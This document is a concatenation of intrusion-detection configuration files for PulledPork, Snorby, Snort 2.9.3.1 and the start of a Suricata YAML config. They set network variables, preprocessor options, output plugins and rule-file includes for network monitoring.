# simply uncomment and specify the apt path.
enablesid=/usr/local/pulledpork/etc/enablesid.conf
# dropsid=enablesid=/usr/local/snort/etc/dropsid.conf
disablesid=/usr/local/pulledpork/etc/disablesid.conf
# modifysid=enablesid=/usr/local/snort/etc/modifysid.conf

# What is the base ruleset that you want to use, please uncomment to use
# and see the README.RULESETS for a description of the options.  
# Note that setting this value will disable all ET rulesets if you are 
# Running such rulesets
# ips_policy=security

####### Remember, a number of these values are optional.. if you don't 
####### need to process so_rules, simply comment out the so_rule section
####### you can also specify -T at runtime to process only GID 1 rules.

version=0.6.0



# 
# Production
#
# Change the production configuration for your environment.
# 
# USE THIS! 
#
production:
  domain: localhost:3000
  wkhtmltopdf: /usr/bin/wkhtmltopdf
  ssl: false
  mailer_sender: 'snorby@snorby.org'
  geoip_uri: "http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz"
  rules:
    - ""
  authentication_mode: database

#
# Only Use For Development
#
development:
  domain: localhost:3000
  wkhtmltopdf: /usr/bin/wkhtmltopdf
  ssl: false
  mailer_sender: 'snorby@snorby.org'
  geoip_uri: "http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz"
  rules: 
    - "/Users/mephux/.snort/rules"
    - "/Users/mephux/.snort/so_rules"
  authentication_mode: database
#  authentication_mode: cas
#  cas_config:
#    base_url: https://auth.server.com.br/
#    login_url: https://auth.server.com.br/login?domain=server
#    logout_url: https://auth.server.com.br/logout?domain=server

#
# Only Use For Testing
#
test:
  domain: localhost:3000
  wkhtmltopdf: /usr/bin/wkhtmltopdf
  mailer_sender: 'snorby@snorby.org'
  geoip_uri: "http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz"
  authentication_mode: database



#--------------------------------------------------
#   VRT Rule Packages Snort.conf
#
#   For more information visit us at:
#     http://www.snort.org                   Snort Website
#     http://vrt-sourcefire.blogspot.com/    Sourcefire VRT Blog
#
#     Mailing list Contact:      snort-sigs@lists.sourceforge.net
#     False Positive reports:    fp@sourcefire.com
#     Snort bugs:                bugs@snort.org
#
#     Compatible with Snort Versions:
#     VERSIONS : 2.9.3.1
#
#     Snort build options:
#     OPTIONS : --enable-ipv6 --enable-gre --enable-mpls --enable-targetbased --enable-decoder-preprocessor-rules --enable-ppm --enable-perfprofiling --enable-zlib --enable-active-response --enable-normalizer --enable-reload --enable-react --enable-flexresp3
#
#     Additional information:
#     This configuration file enables active response, to run snort in
#     test mode -T you are required to supply an interface -i <interface>
#     or test mode will fail to fully validate the configuration and
#     exit with a FATAL error
#--------------------------------------------------

###################################################
# This file contains a sample snort configuration. 
# You should take the following steps to create your own custom configuration:
#
#  1) Set the network variables.
#  2) Configure the decoder
#  3) Configure the base detection engine
#  4) Configure dynamic loaded libraries
#  5) Configure preprocessors
#  6) Configure output plugins
#  7) Customize your rule set
#  8) Customize preprocessor and decoder rule set
#  9) Customize shared object rule set
###################################################

###################################################
# Step #1: Set the network variables.  For more information, see README.variables
###################################################

# Setup the network addresses you are protecting
ipvar HOME_NET any

#192.168.1.0 - 192.168.1.63
#ipvar HOME_NET 192.168.1.63/26
#ipvar HOME_NET 192.168.1.69
#ipvar HOME_NET [192.168.56.50,192.168.56.21,192.168.56.22]

# Set up the external network addresses. Leave as "any" in most situations
ipvar EXTERNAL_NET any
#ipvar EXTERNAL_NET !$HOME_NET

# List of DNS servers on your network 
ipvar DNS_SERVERS $HOME_NET

# List of SMTP servers on your network
ipvar SMTP_SERVERS $HOME_NET

# List of web servers on your network
ipvar HTTP_SERVERS $HOME_NET

# List of sql servers on your network 
ipvar SQL_SERVERS $HOME_NET

# List of telnet servers on your network
ipvar TELNET_SERVERS $HOME_NET

# List of ssh servers on your network
ipvar SSH_SERVERS $HOME_NET

# List of ftp servers on your network
ipvar FTP_SERVERS $HOME_NET

# List of sip servers on your network
ipvar SIP_SERVERS $HOME_NET

# List of ports you run web servers on
portvar HTTP_PORTS [80,81,311,591,593,901,1220,1414,1741,1830,2301,2381,2809,3128,3702,4343,4848,5250,7001,7145,7510,7777,7779,8000,8008,8014,8028,8080,8088,8090,8118,8123,8180,8181,8243,8280,8800,8888,8899,9000,9080,9090,9091,9443,9999,11371,55555]

# List of ports you want to look for SHELLCODE on.
portvar SHELLCODE_PORTS !80

# List of ports you might see oracle attacks on
portvar ORACLE_PORTS 1024:

# List of ports you want to look for SSH connections on:
portvar SSH_PORTS 22

# List of ports you run ftp servers on
portvar FTP_PORTS [21,2100,3535]

# List of ports you run SIP servers on
portvar SIP_PORTS [5060,5061,5600]

# List of file data ports for file inspection
portvar FILE_DATA_PORTS [$HTTP_PORTS,110,143]

# List of GTP ports for GTP preprocessor
portvar GTP_PORTS [2123,2152,3386]

# other variables, these should not be modified
ipvar AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24,205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/24,205.188.248.0/24]

# Path to your rules files (this can be a relative path)
# Note for Windows users:  You are advised to make this an absolute path,
# such as:  c:\snort\rules
var RULE_PATH ../rules
var SO_RULE_PATH ../so_rules
var PREPROC_RULE_PATH ../preproc_rules

# If you are using reputation preprocessor set these
# Currently there is a bug with relative paths, they are relative to where snort is
# not relative to snort.conf like the above variables
# This is completely inconsistent with how other vars work, BUG 89986
# Set the absolute path appropriately
var WHITE_LIST_PATH /usr/local/snort/rules
var BLACK_LIST_PATH /usr/local/snort/rules

###################################################
# Step #2: Configure the decoder.  For more information, see README.decode
###################################################

# Stop generic decode events:
config disable_decode_alerts

# Stop Alerts on experimental TCP options
config disable_tcpopt_experimental_alerts

# Stop Alerts on obsolete TCP options
config disable_tcpopt_obsolete_alerts

# Stop Alerts on T/TCP alerts
config disable_tcpopt_ttcp_alerts

# Stop Alerts on all other TCPOption type events:
config disable_tcpopt_alerts

# Stop Alerts on invalid ip options
config disable_ipopt_alerts

# Alert if value in length field (IP, TCP, UDP) is greater th elength of the packet
# config enable_decode_oversized_alerts

# Same as above, but drop packet if in Inline mode (requires enable_decode_oversized_alerts)
# config enable_decode_oversized_drops

# Configure IP / TCP checksum mode
config checksum_mode: all

# Configure maximum number of flowbit references.  For more information, see README.flowbits
# config flowbits_size: 64

# Configure ports to ignore 
# config ignore_ports: tcp 21 6667:6671 1356
# config ignore_ports: udp 1:17 53

# Configure active response for non inline operation. For more information, see REAMDE.active
# config response: eth0 attempts 2

# Configure DAQ related options for inline operation. For more information, see README.daq
#
# config daq: <type>
# config daq_dir: <dir>
# config daq_mode: <mode>
# config daq_var: <var>
#
# <type> ::= pcap | afpacket | dump | nfq | ipq | ipfw
# <mode> ::= read-file | passive | inline
# <var> ::= arbitrary <name>=<value passed to DAQ
# <dir> ::= path as to where to look for DAQ module so's

# Configure specific UID and GID to run snort as after dropping privs. For more information see snort -h command line options
#
# config set_gid:
# config set_uid:

# Configure default snaplen. Snort defaults to MTU of in use interface. For more information see README
#
# config snaplen:
#

# Configure default bpf_file to use for filtering what traffic reaches snort. For more information see snort -h command line options (-F)
#
# config bpf_file:
#

# Configure default log directory for snort to log to.  For more information see snort -h command line options (-l)
#
# config logdir:


###################################################
# Step #3: Configure the base detection engine.  For more information, see  README.decode
###################################################

# Configure PCRE match limitations
config pcre_match_limit: 3500
config pcre_match_limit_recursion: 1500

# Configure the detection engine  See the Snort Manual, Configuring Snort - Includes - Config
config detection: search-method ac-split search-optimize max-pattern-len 20

# Configure the event queue.  For more information, see README.event_queue
config event_queue: max_queue 8 log 3 order_events content_length

###################################################
## Configure GTP if it is to be used.
## For more information, see README.GTP
####################################################

# config enable_gtp

###################################################
# Per packet and rule latency enforcement
# For more information see README.ppm
###################################################

# Per Packet latency configuration
#config ppm: max-pkt-time 250, \
#   fastpath-expensive-packets, \
#   pkt-log

# Per Rule latency configuration
#config ppm: max-rule-time 200, \
#   threshold 3, \
#   suspend-expensive-rules, \
#   suspend-timeout 20, \
#   rule-log alert

###################################################
# Configure Perf Profiling for debugging
# For more information see README.PerfProfiling
###################################################

#config profile_rules: print all, sort avg_ticks
#config profile_preprocs: print all, sort avg_ticks

###################################################
# Configure protocol aware flushing
# For more information see README.stream5
###################################################
config paf_max: 16000

###################################################
# Step #4: Configure dynamic loaded libraries.  
# For more information, see Snort Manual, Configuring Snort - Dynamic Modules
###################################################

# path to dynamic preprocessor libraries
dynamicpreprocessor directory /usr/local/snort/lib/snort_dynamicpreprocessor/

# path to base preprocessor engine
dynamicengine /usr/local/snort/lib/snort_dynamicengine/libsf_engine.so

# path to dynamic rules libraries
dynamicdetection directory /usr/local/snort/lib/snort_dynamicrules

###################################################
# Step #5: Configure preprocessors
# For more information, see the Snort Manual, Configuring Snort - Preprocessors
###################################################

# GTP Control Channle Preprocessor. For more information, see README.GTP
# preprocessor gtp: ports { 2123 3386 2152 }

# Inline packet normalization. For more information, see README.normalize
# Does nothing in IDS mode
preprocessor normalize_ip4
preprocessor normalize_tcp: ips ecn stream
preprocessor normalize_icmp4
preprocessor normalize_ip6
preprocessor normalize_icmp6

# Target-based IP defragmentation.  For more inforation, see README.frag3
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy windows bind_to 192.168.56.22 detect_anomalies overlap_limit 10 min_fragment_length 100 timeout 180
preprocessor frag3_engine: policy linux detect_anomalies overlap_limit 10 min_fragment_length 100 timeout 180

# Target-Based stateful inspection/stream reassembly.  For more inforation, see README.stream5
preprocessor stream5_global: track_tcp yes, \
   track_udp yes, \
   track_icmp no, \ 
   max_tcp 262144, \
   max_udp 131072, \
   max_active_responses 2, \
   min_response_seconds 5
preprocessor stream5_tcp: policy windows, detect_anomalies, require_3whs 180, \
   bind_to 192.168.56.22, \
   overlap_limit 10, small_segments 3 bytes 150, timeout 180, \
    ports client 21 22 23 25 42 53 79 109 110 111 113 119 135 136 137 139 143 \
        161 445 513 514 587 593 691 1433 1521 1741 2100 3306 6070 6665 6666 6667 6668 6669 \
        7000 8181 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779, \
    ports both 80 81 311 443 465 563 591 593 636 901 989 992 993 994 995 1220 1414 1830 2301 2381 2809 3128 3702 4343 4848 5250 7907 7001 7145 7510 7802 7777 7779 \
        7801 7900 7901 7902 7903 7904 7905 7906 7908 7909 7910 7911 7912 7913 7914 7915 7916 \
        7917 7918 7919 7920 8000 8008 8014 8028 8080 8088 8090 8118 8123 8180 8243 8280 8800 8888 8899 9000 9080 9090 9091 9443 9999 11371 55555
preprocessor stream5_tcp: policy linux, detect_anomalies, require_3whs 180, \
   overlap_limit 10, small_segments 3 bytes 150, timeout 180, \
    ports client 21 22 23 25 42 53 79 109 110 111 113 119 135 136 137 139 143 \
        161 445 513 514 587 593 691 1433 1521 1741 2100 3306 6070 6665 6666 6667 6668 6669 \
        7000 8181 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779, \
    ports both 80 81 311 443 465 563 591 593 636 901 989 992 993 994 995 1220 1414 1830 2301 2381 2809 3128 3702 4343 4848 5250 7907 7001 7145 7510 7802 7777 7779 \
        7801 7900 7901 7902 7903 7904 7905 7906 7908 7909 7910 7911 7912 7913 7914 7915 7916 \
        7917 7918 7919 7920 8000 8008 8014 8028 8080 8088 8090 8118 8123 8180 8243 8280 8800 8888 8899 9000 9080 9090 9091 9443 9999 11371 55555
preprocessor stream5_udp: timeout 180

# performance statistics.  For more information, see the Snort Manual, Configuring Snort - Preprocessors - Performance Monitor
# preprocessor perfmonitor: time 300 file /var/snort/snort.stats pktcnt 10000
#preprocessor perfmonitor: file /var/snort/snort.stats atexitonly
#preprocessor perfmonitor: time 60 file /var/snort/snort.stats pktcnt 200

# HTTP normalization and anomaly detection.  For more information, see README.http_inspect
preprocessor http_inspect: global iis_unicode_map unicode.map 1252 compress_depth 65535 decompress_depth 65535
preprocessor http_inspect_server: server default \
    http_methods { GET POST PUT SEARCH MKCOL COPY MOVE LOCK UNLOCK NOTIFY POLL BCOPY BDELETE BMOVE LINK UNLINK OPTIONS HEAD DELETE TRACE TRACK CONNECT SOURCE SUBSCRIBE UNSUBSCRIBE PROPFIND PROPPATCH BPROPFIND BPROPPATCH RPC_CONNECT PROXY_SUCCESS BITS_POST CCM_POST SMS_POST RPC_IN_DATA RPC_OUT_DATA RPC_ECHO_DATA } \
    chunk_length 500000 \
    server_flow_depth 0 \
    client_flow_depth 0 \
    post_depth 65495 \
    oversize_dir_length 500 \
    max_header_length 750 \
    max_headers 100 \
    max_spaces 200 \
    small_chunk_length { 10 5 } \
    ports { 80 81 311 591 593 901 1220 1414 1741 1830 2301 2381 2809 3128 3702 4343 4848 5250 7001 7145 7510 7777 7779 8000 8008 8014 8028 8080 8088 8090 8118 8123 8180 8181 8243 8280 8800 8888 8899 9000 9080 9090 9091 9443 9999 11371 55555 } \
    non_rfc_char { 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 } \
    enable_cookie \
    extended_response_inspection \
    inspect_gzip \
    normalize_utf \
    unlimited_decompress \
    normalize_javascript \
    apache_whitespace no \
    ascii yes \
    bare_byte yes \
    directory yes \
    double_decode yes \
    iis_backslash yes \
    iis_delimiter yes \
    iis_unicode yes \
    multi_slash yes \
    utf_8 yes \
    u_encode yes \
    webroot yes

# ONC-RPC normalization and anomaly detection.  For more information, see the Snort Manual, Configuring Snort - Preprocessors - RPC Decode
preprocessor rpc_decode: 111 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 no_alert_multiple_requests no_alert_large_fragments no_alert_incomplete

# Back Orifice detection.
preprocessor bo

# FTP / Telnet normalization and anomaly detection.  For more information, see README.ftptelnet
preprocessor ftp_telnet: global inspection_type stateful encrypted_traffic no check_encrypted
preprocessor ftp_telnet_protocol: telnet \
    ayt_attack_thresh 20 \
    normalize ports { 23 } \
    detect_anomalies
preprocessor ftp_telnet_protocol: ftp server default \
    def_max_param_len 100 \
    ports { 21 2100 3535 } \
    telnet_cmds yes \
    ignore_telnet_erase_cmds yes \
    ftp_cmds { ABOR ACCT ADAT ALLO APPE AUTH CCC CDUP } \
    ftp_cmds { CEL CLNT CMD CONF CWD DELE ENC EPRT } \
    ftp_cmds { EPSV ESTA ESTP FEAT HELP LANG LIST LPRT } \
    ftp_cmds { LPSV MACB MAIL MDTM MIC MKD MLSD MLST } \
    ftp_cmds { MODE NLST NOOP OPTS PASS PASV PBSZ PORT } \
    ftp_cmds { PROT PWD QUIT REIN REST RETR RMD RNFR } \
    ftp_cmds { RNTO SDUP SITE SIZE SMNT STAT STOR STOU } \
    ftp_cmds { STRU SYST TEST TYPE USER XCUP XCRC XCWD } \
    ftp_cmds { XMAS XMD5 XMKD XPWD XRCP XRMD XRSQ XSEM } \
    ftp_cmds { XSEN XSHA1 XSHA256 } \
    alt_max_param_len 0 { ABOR CCC CDUP ESTA FEAT LPSV NOOP PASV PWD QUIT REIN STOU SYST XCUP XPWD } \
    alt_max_param_len 200 { ALLO APPE CMD HELP NLST RETR RNFR STOR STOU XMKD } \
    alt_max_param_len 256 { CWD RNTO } \
    alt_max_param_len 400 { PORT } \
    alt_max_param_len 512 { SIZE } \
    chk_str_fmt { ACCT ADAT ALLO APPE AUTH CEL CLNT CMD } \
    chk_str_fmt { CONF CWD DELE ENC EPRT EPSV ESTP HELP } \
    chk_str_fmt { LANG LIST LPRT MACB MAIL MDTM MIC MKD } \
    chk_str_fmt { MLSD MLST MODE NLST OPTS PASS PBSZ PORT } \
    chk_str_fmt { PROT REST RETR RMD RNFR RNTO SDUP SITE } \
    chk_str_fmt { SIZE SMNT STAT STOR STRU TEST TYPE USER } \
    chk_str_fmt { XCRC XCWD XMAS XMD5 XMKD XRCP XRMD XRSQ } \ 
    chk_str_fmt { XSEM XSEN XSHA1 XSHA256 } \
    cmd_validity ALLO < int [ char R int ] > \    
    cmd_validity EPSV < [ { char 12 | char A char L char L } ] > \
    cmd_validity MACB < string > \
    cmd_validity MDTM < [ date nnnnnnnnnnnnnn[.n[n[n]]] ] string > \
    cmd_validity MODE < char ASBCZ > \
    cmd_validity PORT < host_port > \
    cmd_validity PROT < char CSEP > \
    cmd_validity STRU < char FRPO [ string ] > \    
    cmd_validity TYPE < { char AE [ char NTC ] | char I | char L [ number ] } >
preprocessor ftp_telnet_protocol: ftp client default \
    max_resp_len 256 \
    bounce yes \
    ignore_telnet_erase_cmds yes \
    telnet_cmds yes


# SMTP normalization and anomaly detection.  For more information, see README.SMTP
preprocessor smtp: ports { 25 465 587 691 } \
    inspection_type stateful \
    b64_decode_depth 0 \
    qp_decode_depth 0 \
    bitenc_decode_depth 0 \
    uu_decode_depth 0 \
    log_mailfrom \
    log_rcptto \
    log_filename \
    log_email_hdrs \
    normalize cmds \
    normalize_cmds { ATRN AUTH BDAT CHUNKING DATA DEBUG EHLO EMAL ESAM ESND ESOM ETRN EVFY } \
    normalize_cmds { EXPN HELO HELP IDENT MAIL NOOP ONEX QUEU QUIT RCPT RSET SAML SEND SOML } \
    normalize_cmds { STARTTLS TICK TIME TURN TURNME VERB VRFY X-ADAT X-DRCP X-ERCP X-EXCH50 } \
    normalize_cmds { X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \
    max_command_line_len 512 \
    max_header_line_len 1000 \
    max_response_line_len 512 \
    alt_max_command_line_len 260 { MAIL } \
    alt_max_command_line_len 300 { RCPT } \
    alt_max_command_line_len 500 { HELP HELO ETRN EHLO } \
    alt_max_command_line_len 255 { EXPN VRFY ATRN SIZE BDAT DEBUG EMAL ESAM ESND ESOM EVFY IDENT NOOP RSET } \
    alt_max_command_line_len 246 { SEND SAML SOML AUTH TURN ETRN DATA RSET QUIT ONEX QUEU STARTTLS TICK TIME TURNME VERB X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \
    valid_cmds { ATRN AUTH BDAT CHUNKING DATA DEBUG EHLO EMAL ESAM ESND ESOM ETRN EVFY } \ 
    valid_cmds { EXPN HELO HELP IDENT MAIL NOOP ONEX QUEU QUIT RCPT RSET SAML SEND SOML } \
    valid_cmds { STARTTLS TICK TIME TURN TURNME VERB VRFY X-ADAT X-DRCP X-ERCP X-EXCH50 } \
    valid_cmds { X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \
    xlink2state { enabled }

# Portscan detection.  For more information, see README.sfportscan
preprocessor sfportscan: proto  { all } scan_type { all } memcap { 10000000 } sense_level { high }

# ARP spoof detection.  For more information, see the Snort Manual - Configuring Snort - Preprocessors - ARP Spoof Preprocessor
preprocessor arpspoof
preprocessor arpspoof_detect_host: 192.168.1.65 08:00:27:56:C8:DA

# SSH anomaly detection.  For more information, see README.ssh
preprocessor ssh: server_ports { 22 } \
                  autodetect \
                  max_client_bytes 19600 \
                  max_encrypted_packets 20 \
                  max_server_version_len 100 \
                  enable_respoverflow enable_ssh1crc32 \
                  enable_srvoverflow enable_protomismatch

# SMB / DCE-RPC normalization and anomaly detection.  For more information, see README.dcerpc2
preprocessor dcerpc2: memcap 102400, events [co ]
preprocessor dcerpc2_server: default, policy WinXP, \
    detect [smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \
    autodetect [tcp 1025:, udp 1025:, rpc-over-http-server 1025:], \
    smb_max_chain 3, smb_invalid_shares ["C$", "D$", "ADMIN$"]

# DNS anomaly detection.  For more information, see README.dns
preprocessor dns: ports { 53 } enable_rdata_overflow

# SSL anomaly detection and traffic bypass.  For more information, see README.ssl
preprocessor ssl: ports { 443 465 563 636 989 992 993 994 995 7801 7802 7900 7901 7902 7903 7904 7905 7906 7907 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 }, trustservers, noinspect_encrypted

# SDF sensitive data preprocessor.  For more information see README.sensitive_data
#preprocessor sensitive_data: alert_threshold 25

# SIP Session Initiation Protocol preprocessor.  For more information see README.sip
preprocessor sip: max_sessions 40000, \
   ports { 5060 5061 5600 }, \
   methods { invite \
             cancel \
             ack \
             bye \
             register \
             options \
             refer \
             subscribe \
             update \
             join \
             info \
             message \
             notify \
             benotify \
             do \
             qauth \
             sprack \
             publish \
             service \
             unsubscribe \
             prack }, \
   max_uri_len 512, \
   max_call_id_len 80, \
   max_requestName_len 20, \
   max_from_len 256, \
   max_to_len 256, \
   max_via_len 1024, \
   max_contact_len 512, \
   max_content_len 2048 

# IMAP preprocessor.  For more information see README.imap
preprocessor imap: \
   ports { 143 } \
   b64_decode_depth 0 \
   qp_decode_depth 0 \
   bitenc_decode_depth 0 \
   uu_decode_depth 0

# POP preprocessor. For more information see README.pop
preprocessor pop: \
   ports { 110 } \
   b64_decode_depth 0 \
   qp_decode_depth 0 \
   bitenc_decode_depth 0 \
   uu_decode_depth 0

# Modbus preprocessor. For more information see README.modbus
preprocessor modbus: ports { 502 }

# DNP3 preprocessor. For more information see README.dnp3
preprocessor dnp3: ports { 20000 } \
   memcap 262144 \
   check_crc

# Reputation preprocessor. For more information see README.reputation
preprocessor reputation: \
   memcap 500, \
   priority whitelist, \
   nested_ip inner, \
   whitelist $WHITE_LIST_PATH/white_list.rules, \
   blacklist $BLACK_LIST_PATH/black_list.rules 

###################################################
# Step #6: Configure output plugins
# For more information, see Snort Manual, Configuring Snort - Output Modules
###################################################

# unified2 
# Recommended for most installs
# output unified2: filename merged.log, limit 128, nostamp, mpls_event_types, vlan_event_types
output unified2: filename snort.u2, limit 128

# Additional configuration for specific types of installs
# output alert_unified2: filename snort.alert, limit 128, nostamp
# output log_unified2: filename snort.log, limit 128, nostamp 

# syslog
# output alert_syslog: LOG_AUTH LOG_ALERT

# pcap
# output log_tcpdump: tcpdump.log

# database
# output database: alert, <db_type>, user=<username> password=<password> test dbname=<name> host=<hostname>
# output database: log, <db_type>, user=<username> password=<password> test dbname=<name> host=<hostname>

# prelude
# output alert_prelude

# metadata reference data.  do not modify these lines
include classification.config
include reference.config


###################################################
# Step #7: Customize your rule set
# For more information, see Snort Manual, Writing Snort Rules
#
# NOTE: All categories are enabled in this conf file
###################################################

# site specific rules
include $RULE_PATH/local.rules
include $RULE_PATH/snort.rules

#include $RULE_PATH/app-detect.rules
#include $RULE_PATH/attack-responses.rules
#include $RULE_PATH/backdoor.rules
#include $RULE_PATH/bad-traffic.rules
#include $RULE_PATH/blacklist.rules
#include $RULE_PATH/botnet-cnc.rules
#include $RULE_PATH/browser-chrome.rules
#include $RULE_PATH/browser-firefox.rules
#include $RULE_PATH/browser-ie.rules
#include $RULE_PATH/browser-other.rules
#include $RULE_PATH/browser-webkit.rules
#include $RULE_PATH/chat.rules
#include $RULE_PATH/content-replace.rules
#include $RULE_PATH/ddos.rules
#include $RULE_PATH/dns.rules
#include $RULE_PATH/dos.rules
#include $RULE_PATH/exploit-kit.rules
#include $RULE_PATH/exploit.rules
#include $RULE_PATH/file-executable.rules
#include $RULE_PATH/file-flash.rules
#include $RULE_PATH/file-identify.rules
#include $RULE_PATH/file-image.rules
#include $RULE_PATH/file-multimedia.rules
#include $RULE_PATH/file-office.rules
#include $RULE_PATH/file-other.rules
#include $RULE_PATH/file-pdf.rules
#include $RULE_PATH/finger.rules
#include $RULE_PATH/ftp.rules
#include $RULE_PATH/icmp.rules
#include $RULE_PATH/icmp-info.rules
#include $RULE_PATH/imap.rules
#include $RULE_PATH/indicator-compromise.rules
#include $RULE_PATH/indicator-obfuscation.rules
#include $RULE_PATH/info.rules
#include $RULE_PATH/malware-backdoor.rules
#include $RULE_PATH/malware-cnc.rules
#include $RULE_PATH/malware-other.rules
#include $RULE_PATH/malware-tools.rules
#include $RULE_PATH/misc.rules
#include $RULE_PATH/multimedia.rules
#include $RULE_PATH/mysql.rules
#include $RULE_PATH/netbios.rules
#include $RULE_PATH/nntp.rules
#include $RULE_PATH/oracle.rules
#include $RULE_PATH/other-ids.rules
#include $RULE_PATH/p2p.rules
#include $RULE_PATH/phishing-spam.rules
#include $RULE_PATH/policy.rules
#include $RULE_PATH/policy-multimedia.rules
#include $RULE_PATH/policy-other.rules
#include $RULE_PATH/policy-social.rules
#include $RULE_PATH/pop2.rules
#include $RULE_PATH/pop3.rules
#include $RULE_PATH/pua-p2p.rules
#include $RULE_PATH/pua-toolbars.rules
#include $RULE_PATH/rpc.rules
#include $RULE_PATH/rservices.rules
#include $RULE_PATH/scada.rules
#include $RULE_PATH/scan.rules
#include $RULE_PATH/server-mail.rules
#include $RULE_PATH/shellcode.rules
#include $RULE_PATH/smtp.rules
#include $RULE_PATH/snmp.rules
#include $RULE_PATH/specific-threats.rules
#include $RULE_PATH/spyware-put.rules
#include $RULE_PATH/sql.rules
#include $RULE_PATH/telnet.rules
#include $RULE_PATH/tftp.rules
#include $RULE_PATH/virus.rules
#include $RULE_PATH/voip.rules
#include $RULE_PATH/web-activex.rules
#include $RULE_PATH/web-attacks.rules
#include $RULE_PATH/web-cgi.rules
#include $RULE_PATH/web-client.rules
#include $RULE_PATH/web-coldfusion.rules
#include $RULE_PATH/web-frontpage.rules
#include $RULE_PATH/web-iis.rules
#include $RULE_PATH/web-misc.rules
#include $RULE_PATH/web-php.rules
#include $RULE_PATH/x11.rules

###################################################
# Step #8: Customize your preprocessor and decoder alerts
# For more information, see README.decoder_preproc_rules
###################################################

# decoder and preprocessor event rules
#include $PREPROC_RULE_PATH/preprocessor.rules
#include $PREPROC_RULE_PATH/decoder.rules
#include $PREPROC_RULE_PATH/sensitive-data.rules

###################################################
# Step #9: Customize your Shared Object Snort Rules
# For more information, see http://vrt-sourcefire.blogspot.com/2009/01/using-vrt-certified-shared-object-rules.html
###################################################

# dynamic library rules
include $SO_RULE_PATH/so_rules.rules

#include $SO_RULE_PATH/bad-traffic.rules
#include $SO_RULE_PATH/chat.rules
#include $SO_RULE_PATH/dos.rules
#include $SO_RULE_PATH/exploit.rules
#include $SO_RULE_PATH/icmp.rules
#include $SO_RULE_PATH/imap.rules
#include $SO_RULE_PATH/misc.rules
#include $SO_RULE_PATH/multimedia.rules
#include $SO_RULE_PATH/netbios.rules
#include $SO_RULE_PATH/nntp.rules
#include $SO_RULE_PATH/p2p.rules
#include $SO_RULE_PATH/smtp.rules
#include $SO_RULE_PATH/snmp.rules
#include $SO_RULE_PATH/specific-threats.rules
#include $SO_RULE_PATH/web-activex.rules
#include $SO_RULE_PATH/web-client.rules
#include $SO_RULE_PATH/web-iis.rules
#include $SO_RULE_PATH/web-misc.rules

# Event thresholding or suppression commands. See threshold.conf 
include threshold.conf



%YAML 1.1
---

# Suricata configuration file. In addition to the comments describing all
# options in this file, full documentation can be found at:
# https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Suricatayaml


# Number of packets allowed to be processed simultaneously.  Default is a
# conservative 1024. A higher number will make sure CPU's/CPU cores will be
# more easily kept busy, but may negatively impact caching.
#
# If you are using the CUDA pattern matcher (b2g_cuda below), different rules
# apply. In that case try something like 4000 or more. This is because the CUDA
# pattern matcher scans many packets in parallel.
#max-pending-packets: 1024

# Runmode the engine should use. Please check --list-runmodes to get the available
# runmodes for each packet acquisition method. Defaults to "autofp" (auto flow pinned
# load balancing).
#runmode: autofp

# Specifies the kind of flow load balancer used by the flow pinned autofp mode.
#
# Supported schedulers are:
#
# round-robin       - Flows assigned to threads in a round robin fashion.
# active-packets    - Flows assigned to threads that have the lowest number of
#                     unprocessed packets (default).
# hash              - Flow alloted usihng the address hash. More of a random
#                     technique. Was the default in Suricata 1.2.1 and older.
#
#autofp-scheduler: active-packets

# Run suricata as user and group.
#run-as:
#  user: suri
#  group: suri

# Default pid file.
# Will use this file if no --pidfile in command options.
#pid-file: /var/run/suricata.pid

# Daemon working directory
# Suricata will change directory to this one if provided
# Default: "/"
#daemon-directory: "/"

# Preallocated size for packet. Default is 1514 which is the classical
# size for pcap on ethernet. You should adjust this value to the highest
# packet size (MTU + hardware header) on your system.
#default-packet-size: 1514

# The default logging directory.  Any log or output file will be
# placed here if its not specified with a full path name.  This can be
# overridden with the -l command line parameter.
default-log-dir: /usr/local/var/log/suricata/

# Unix command socket can be used to pass commands to suricata.
# An external tool can then connect to get information from suricata
# or trigger some modifications of the engine. Set enabled to yes
# to activate the feature. You can use the filename variable to set
# the file name of the socket.
unix-command:
  enabled: no
  #filename: custom.socket

# Configure the type of alert (and other) logging you would like.
outputs:

  # a line based alerts log similar to Snort's fast.log
  - fast:
      enabled: yes
      filename: fast.log
      append: yes
      #filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'

  # alert output for use with Barnyard2
  - unified2-alert:
      enabled: yes
      filename: unified2.alert

      # File size limit.  Can be specified in kb, mb, gb.  Just a number
      # is parsed as bytes.
      #limit: 32mb

      # Sensor ID field of unified2 alerts.
      #sensor-id: 0

  # a line based log of HTTP requests (no alerts)
  - http-log:
      enabled: no
      filename: http.log
      append: yes
      #extended: yes     # enable this for extended logging information
      #custom: yes       # enabled the custom logging format (defined by customformat)
      #customformat: "%{%D-%H:%M:%S}t.%z %{X-Forwarded-For}i %H %m %h %u %s %B %a:%p -> %A:%P"
      #filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'

  # a line based log of TLS handshake parameters (no alerts)
  - tls-log:
      enabled: no  # Log TLS connections.
      filename: tls.log # File to store TLS logs.
      #extended: yes # Log extended information like fingerprint
      certs-log-dir: certs # directory to store the certificates files

  # a line based log to used with pcap file study.
  # this module is dedicated to offline pcap parsing (empty output
  # if used with another kind of input). It can interoperate with
  # pcap parser like wireshark via the suriwire plugin.
  - pcap-info:
      enabled: no

  # Packet log... log packets in pcap format. 2 modes of operation: "normal"
  # and "sguil".
  #
